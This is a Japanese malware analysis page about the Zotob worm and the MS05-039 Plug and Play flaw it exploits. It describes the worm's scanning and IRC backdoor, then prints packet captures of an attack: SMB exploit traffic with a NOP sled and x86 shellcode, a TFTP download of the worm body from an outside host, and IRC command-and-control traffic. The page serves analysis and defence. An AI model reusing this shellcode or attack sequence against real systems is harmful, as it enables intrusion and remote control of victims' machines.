--------------------------------------------------------------------------
■ニュース
--------------------------------------------------------------------------
Mytobなど20種類以上のウイルスにもZotob作成容疑者の署名が
http://internet.watch.impress.co.jp/cda/news/2005/08/30/8958.html
Zotobと同様のWindowsの脆弱性を悪用するエクスプロイトコードが登場
http://japan.cnet.com/news/sec/story/0,2000050480,20089437,00.htm
「Zotob」作成の容疑者が発生からわずか2週間足らずで逮捕に
http://internet.watch.impress.co.jp/cda/news/2005/08/29/8933.html
--------------------------------------------------------------------------
■ベンダー
--------------------------------------------------------------------------
Symantec Security Response - W32.Zotob.A
http://www.symantec.com/region/jp/avcenter/venc/data/jp-w32.zotob.a.html
トレンドマイクロ WORM_ZOTOB.A - 概 要
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_ZOTOB.A
日本F-Secure株式会社 : ウィルス情報 Zotob.A
http://www.f-secure.co.jp/v-descs/v-descs3/zotoba.htm
--------------------------------------------------------------------------
■Zotobワームとは？
--------------------------------------------------------------------------
＜ワーム活動（セキュリティホール利用）＞
ワームはWindowsの「プラグアンドプレイの脆弱性」と呼ばれるセキュリティホールを利用して
ワーム活動を行います。「プラグ アンド プレイ の脆弱性により、リモートでコードが実行され、
特権の昇格が行なわれる (899588) (MS05-039)」 ワームは、300のスレッドを作成し、各スレ
ッドで攻撃のためのランダムなIPアドレスが作成されます。IPアドレス作成のため、ワームは感
染コンピュータのクラスBネットワークアドレスを取得し、最後から２つのオクテットにランダムな
値を割り当てます。（例：感染コンピュータのIPアドレスが192.168.231.128の場合、ワームは
192.168.x.xの "x" の部分にランダムな８－ビットの数字を割り当てます。） ワームは、ランダム
なIPアドレスを作成すると、ポート445(Microsoft-DS)が開いているコンピュータを検索します。
ポート445が開いているコンピュータを見つけると、ワームは、セキュリティホールを攻撃してリ
モートシェルの実行を試みます。
セキュリティホールの攻撃に失敗もしくはポート445が開いていない場合、ワームは他のIPアド
レスを作成し、セキュリティホールを持つコンピュータを検索します。
ワームは感染コンピュータからTFTPの機能を利用したワーム本体のダウロードを行う。
＜バックドア活動＞
このワームはバックドアの機能も備えています。ワームはポート8080番を開き、IRCサーバに
参加します。このIRCチャンネルを介して、不正リモートユーザはコマンドを実行することが可能
となります。それにより不正リモートユーザは下記の動作が可能です。
プロセスの終了
DoS(Denial of Service : サービス拒否)攻撃
特定のIRCサーバに接続
インターネットからファイルのダウンロード
特定のWebサイトを訪問
自身のコピーのアンインストール
システム情報の収集（ CPU速度、メモリ容量）
自身のアップデートファイルのダウンロード
セキュリティーホールを持つコンピュータのポート8888番を介してリモートコマンドシェルを作成
--------------------------------------------------------------------------
■攻撃：MS05-039の脆弱性を利用した攻撃
--------------------------------------------------------------------------
09/27-03:30:27.012979 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0xDE
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20318 IpLen:20 DgmLen:208 DF
***AP*** Seq: 0x1D554AE6 Ack: 0xA7BEC001 Win: 0x41EF TcpLen: 20
00 00 00 A4 FF 53 4D 42 73 00 00 00 00 18 07 C8 .....SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 00 10 00 0C FF 00 A4 00 04 11 0A 00 00 00 00 ................
00 00 00 20 00 00 00 00 00 D4 00 00 80 69 00 4E ... .........i.N
54 4C 4D 53 53 50 00 01 00 00 00 97 82 08 E0 00 TLMSSP..........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 W.i.n.d.o.w.s. .
32 00 30 00 30 00 30 00 20 00 32 00 31 00 39 00 2.0.0.0. .2.1.9.
35 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 5...W.i.n.d.o.w.
73 00 20 00 32 00 30 00 30 00 30 00 20 00 35 00 s. .2.0.0.0. .5.
2E 00 30 00 00 00 00 00 ..0.....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.015652 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x189
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10312 IpLen:20 DgmLen:379 DF
***AP*** Seq: 0xA7BEC001 Ack: 0x1D554B8E Win: 0xF9BF TcpLen: 20
00 00 01 4F FF 53 4D 42 73 16 00 00 C0 98 07 C8 ...O.SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 08 10 00 04 FF 00 4F 01 00 00 DA 00 24 01 4E .......O.....$.N
54 4C 4D 53 53 50 00 02 00 00 00 1E 00 1E 00 30 TLMSSP.........0
00 00 00 15 82 8A E0 9B E7 08 41 61 D6 80 D2 00 ..........Aa....
00 00 00 00 00 00 00 8C 00 8C 00 4E 00 00 00 49 ...........N...I
00 53 00 53 00 2D 00 30 00 4F 00 34 00 47 00 43 .S.S.-.0.O.4.G.C
00 4C 00 41 00 51 00 4D 00 52 00 54 00 02 00 1E .L.A.Q.M.R.T....
00 49 00 53 00 53 00 2D 00 30 00 4F 00 34 00 47 .I.S.S.-.0.O.4.G
00 43 00 4C 00 41 00 51 00 4D 00 52 00 54 00 01 .C.L.A.Q.M.R.T..
00 1E 00 49 00 53 00 53 00 2D 00 30 00 4F 00 34 ...I.S.S.-.0.O.4
00 47 00 43 00 4C 00 41 00 51 00 4D 00 52 00 54 .G.C.L.A.Q.M.R.T
00 04 00 1E 00 69 00 73 00 73 00 2D 00 30 00 6F .....i.s.s.-.0.o
00 34 00 67 00 63 00 6C 00 61 00 71 00 6D 00 72 .4.g.c.l.a.q.m.r
00 74 00 03 00 1E 00 69 00 73 00 73 00 2D 00 30 .t.....i.s.s.-.0
00 6F 00 34 00 67 00 63 00 6C 00 61 00 71 00 6D .o.4.g.c.l.a.q.m
00 72 00 74 00 00 00 00 00 00 57 00 69 00 6E 00 .r.t......W.i.n.
64 00 6F 00 77 00 73 00 20 00 35 00 2E 00 30 00 d.o.w.s. .5...0.
00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 ..W.i.n.d.o.w.s.
20 00 32 00 30 00 30 00 30 00 20 00 4C 00 41 00 .2.0.0.0. .L.A.
4E 00 20 00 4D 00 61 00 6E 00 61 00 67 00 65 00 N. .M.a.n.a.g.e.
72 00 00 r..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.073552 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x114
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20320 IpLen:20 DgmLen:262 DF
***AP*** Seq: 0x1D554B8E Ack: 0xA7BEC154 Win: 0x409C TcpLen: 20
00 00 00 DA FF 53 4D 42 73 00 00 00 00 18 07 C8 .....SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 08 20 00 0C FF 00 DA 00 04 11 0A 00 00 00 00 .. .............
00 00 00 57 00 00 00 00 00 D4 00 00 80 9F 00 4E ...W...........N
54 4C 4D 53 53 50 00 03 00 00 00 01 00 01 00 46 TLMSSP.........F
00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 40 .......G.......@
00 00 00 00 00 00 00 40 00 00 00 06 00 06 00 40 .......@.......@
00 00 00 10 00 10 00 47 00 00 00 15 8A 88 E0 48 .......G.......H
00 4F 00 44 00 00 ED 41 2C 27 86 26 D2 59 A0 B3 .O.D...A,'.&.Y..
5E AA 00 88 6F C5 57 00 69 00 6E 00 64 00 6F 00 ^...o.W.i.n.d.o.
77 00 73 00 20 00 32 00 30 00 30 00 30 00 20 00 w.s. .2.0.0.0. .
32 00 31 00 39 00 35 00 00 00 57 00 69 00 6E 00 2.1.9.5...W.i.n.
64 00 6F 00 77 00 73 00 20 00 32 00 30 00 30 00 d.o.w.s. .2.0.0.
30 00 20 00 35 00 2E 00 30 00 00 00 00 00 0. .5...0.....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.077320 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0xAF
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10313 IpLen:20 DgmLen:161 DF
***AP*** Seq: 0xA7BEC154 Ack: 0x1D554C6C Win: 0xF8E1 TcpLen: 20
00 00 00 75 FF 53 4D 42 73 00 00 00 00 98 07 C8 ...u.SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 08 20 00 04 FF 00 75 00 00 00 00 00 4A 00 00 .. ....u.....J..
57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 W.i.n.d.o.w.s. .
35 00 2E 00 30 00 00 00 57 00 69 00 6E 00 64 00 5...0...W.i.n.d.
6F 00 77 00 73 00 20 00 32 00 30 00 30 00 30 00 o.w.s. .2.0.0.0.
20 00 4C 00 41 00 4E 00 20 00 4D 00 61 00 6E 00 .L.A.N. .M.a.n.
61 00 67 00 65 00 72 00 00 a.g.e.r..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.134056 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x98
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20322 IpLen:20 DgmLen:138 DF
***AP*** Seq: 0x1D554C6C Ack: 0xA7BEC1CD Win: 0x4023 TcpLen: 20
00 00 00 5E FF 53 4D 42 75 00 00 00 00 18 07 C8 ...^.SMBu.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 08 30 00 04 FF 00 5A 00 08 00 01 00 33 00 00 ..0....Z.....3..
5C 00 5C 00 32 00 31 00 31 00 2E 00 31 00 32 00 \.\.2.1.1...1.2.
30 00 2E 00 37 00 38 00 2E 00 32 00 34 00 31 00 0...7.8...2.4.1.
5C 00 49 00 50 00 43 00 24 00 00 00 3F 3F 3F 3F \.I.P.C.$...????
3F 00 ?.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.135236 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x72
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10314 IpLen:20 DgmLen:100 DF
***AP*** Seq: 0xA7BEC1CD Ack: 0x1D554CCE Win: 0xF87F TcpLen: 20
00 00 00 38 FF 53 4D 42 75 00 00 00 00 98 07 C8 ...8.SMBu.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 FF FE ................
00 08 30 00 07 FF 00 38 00 01 00 FF 01 00 00 FF ..0....8........
01 00 00 07 00 49 50 43 00 00 00 00 .....IPC....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.190691 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0xA0
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20323 IpLen:20 DgmLen:146 DF
***AP*** Seq: 0x1D554CCE Ack: 0xA7BEC209 Win: 0x3FE7 TcpLen: 20
00 00 00 66 FF 53 4D 42 A2 00 00 00 00 18 07 C8 ...f.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 40 00 18 FF 00 DE DE 00 10 00 16 00 00 00 ..@.............
00 00 00 00 9F 01 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 01 00 00 00 40 00 00 00 ............@...
02 00 00 00 03 13 00 00 5C 00 62 00 72 00 6F 00 ........\.b.r.o.
77 00 73 00 65 00 72 00 00 00 w.s.e.r...
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.193099 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0xC1
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10315 IpLen:20 DgmLen:179 DF
***AP*** Seq: 0xA7BEC209 Ack: 0x1D554D38 Win: 0xF815 TcpLen: 20
00 00 00 87 FF 53 4D 42 A2 00 00 00 00 98 07 C8 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 40 00 2A FF 00 87 00 00 00 40 01 00 00 00 ..@.*......@....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
80 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 02 00 FF 05 00 00 00 06 00 06 00 40 ...............@
00 00 00 10 00 10 00 47 00 00 00 15 8A 88 E0 48 .......G.......H
00 9B 01 12 00 9B 01 12 00 27 86 .........'.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.251200 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0xD6
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20326 IpLen:20 DgmLen:200 DF
***AP*** Seq: 0x1D554D38 Ack: 0xA7BEC294 Win: 0x3F5C TcpLen: 20
00 00 00 9C FF 53 4D 42 25 00 00 00 00 18 07 C8 .....SMB%.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 50 00 10 00 00 48 00 00 00 00 10 00 00 00 ..P....H........
00 00 00 00 00 00 00 00 00 54 00 48 00 54 00 02 .........T.H.T..
00 26 00 00 40 59 00 00 5C 00 50 00 49 00 50 00 .&..@Y..\.P.I.P
.
45 00 5C 00 00 00 40 00 05 00 0B 03 10 00 00 00 E.\...@.........
48 00 00 00 01 00 00 00 B8 10 B8 10 00 00 00 00 H...............
01 00 00 00 00 00 01 00 40 4E 9F 8D 3D A0 CE 11 ........@N
..=...
8F 69 08 00 3E 30 05 1B 01 00 00 00 04 5D 88 8A .i..>0.......]..
EB 1C C9 11 9F E8 08 00 2B 10 48 60 02 00 00 00 ........+.H`....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.254142 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0xB6
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10316 IpLen:20 DgmLen:168 DF
***AP*** Seq: 0xA7BEC294 Ack: 0x1D554DD8 Win: 0xF775 TcpLen: 20
00 00 00 7C FF 53 4D 42 25 00 00 00 00 98 07 C8 ...|.SMB%.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 50 00 0A 00 00 44 00 00 00 00 00 38 00 00 ..P....D.....8..
00 44 00 38 00 00 00 00 00 45 00 00 05 00 0C 03 .D.8.....E......
10 00 00 00 44 00 00 00 01 00 00 00 B8 10 B8 10 ....D...........
E3 7E 00 00 0D 00 5C 50 49 50 45 5C 6E 74 73 76 .~....\PIPE\ntsv
63 73 00 00 01 00 00 00 00 00 00 00 04 5D 88 8A cs...........]..
EB 1C C9 11 9F E8 08 00 2B 10 48 60 02 00 00 00 ........+.H`....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.311779 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x344
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20329 IpLen:20 DgmLen:822 DF
***AP*** Seq: 0x1D55535E Ack: 0xA7BEC314 Win: 0x3EDC TcpLen: 20
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 E0 07 00 00 04 00 00 00 00 00 00 00 ..............
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:27.315733 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x5BC
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20328 IpLen:20 DgmLen:1454 DF
***A**** Seq: 0x1D554DD8 Ack: 0xA7BEC314 Win: 0x3EDC TcpLen: 20
00 00 08 90 FF 53 4D 42 25 00 00 00 00 18 07 C8 .....SMB%.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 60 00 10 00 00 3C 08 00 00 00 01 00 00 00 ..`....<........
00 00 00 00 00 00 00 00 00 54 00 3C 08 54 00 02 .........T.<.T..
00 26 00 00 40 4D 08 00 5C 00 50 00 49 00 50 00 .&..@M..\.P.I.P
.
45 00 5C 00 00 00 40 00 05 00 00 03 10 00 00 00 E.\...@.........
3C 08 00 00 01 00 00 00 24 08 00 00 00 00 36 00 <.......$.....6.
11 00 00 00 00 00 00 00 11 00 00 00 52 00 4F 00 ............R.O.
4F 00 54 00 5C 00 53 00 59 00 53 00 54 00 45 00 O.T.\.S.Y.S.T.E.
4D 00 5C 00 30 00 30 00 30 00 30 00 00 00 00 00 M.\.0.0.0.0.....
FF FF 00 00 E0 07 00 00 00 00 00 00 00 00 00 00 ................
C0 07 00 00 00 00 00 00 90 90 90 90 90 90 90 90 ................
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
90 90 90 90 90 90 90 EB 08 90 90 48 4F 44 88 90 ...........HOD..
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
33 DB 64 8B 43 30 8B 40 0C 8B 70 1C AD 8B 78 08 3.d.C0.@..p...x
.
E8 45 00 00 00 53 56 8B 5F 3C 8B 5C 3B 78 03 DF .E...SV._<.\;x..
53 8B 5B 20 03 DF 53 83 C3 04 8B 33 03 F7 33 C9 S.[ ..S....3..3.
AC 32 C8 C1 C1 05 84 C0 75 F6 2B CA 75 E9 58 2B .2......u.+.u.X+
D8 D1 EB 5E 03 5E 24 03 DF 66 8B 0B 8B 5E 1C 03 ...^.^$..f...^..
DF 8B 04 8B 03 C7 5E 5B FF E0 5E 68 33 32 00 00 ......^[..^h32..
68 77 73 32 5F 54 BA 92 6E 04 84 FF D6 8B F8 81 hws2_T..n.......
EC 00 02 00 00 8B EC 53 6A 01 6A 02 BA 83 53 83 .......Sj.j...S.
00 FF D6 53 53 68 D3 2B D0 53 68 02 00 0F CE 8B ...SSh.+.Sh.....
D4 8B D8 6A 10 52 53 BA 63 30 60 5A FF D6 50 B4 ...j.RS.c0`Z..P.
02 50 55 53 BA 00 58 60 E2 FF D6 BF 93 87 B3 CA .PUS..X`........
FF E5 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 ......
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:29.229833 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x5D
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10512 IpLen:20 DgmLen:79 DF
***AP*** Seq: 0xA7BEC314 Ack: 0x1D55566C Win: 0xFAF0 TcpLen: 20
00 00 00 23 FF 53 4D 42 25 B0 00 00 C0 18 07 C8 ...#.SMB%.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 60 00 00 00 00 ..`....
--------------------------------------------------------------------------
■ダウロード：TFTPを利用したワームの本体をダウロードしている様子
--------------------------------------------------------------------------
09/27-06:24:20.620147 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x3C
192.168.37.150:1224 -> ***.***.198.126:69 UDP TTL:128 TOS:0x0 ID:14277 IpLen:20 DgmLen:46
Len: 18
00 01 61 35 30 30 39 2E 65 78 65 00 6F 63 74 65 ..a5009.exe.octe
74 00 t.
-------------------------------------------------------------------
■リモートアクセス：Port8080を利用してIRC通信をおこなっている様子
-------------------------------------------------------------------
09/27-03:30:34.096197 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x3E
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10517 IpLen:20 DgmLen:48 DF
******S* Seq: 0xA7E03C40 Ack: 0x0 Win: 0xFAF0 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.115499 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x3E
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:114 TOS:0x0 ID:10621 IpLen:20 DgmLen:48 DF
***A**S* Seq: 0x28529BAE Ack: 0xA7E03C41 Win: 0x43A4 TcpLen: 28
TCP Options (4) => MSS: 1332 NOP NOP SackOK
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/27-03:30:34.116119 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x3C
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10518 IpLen:20 DgmLen:40 DF
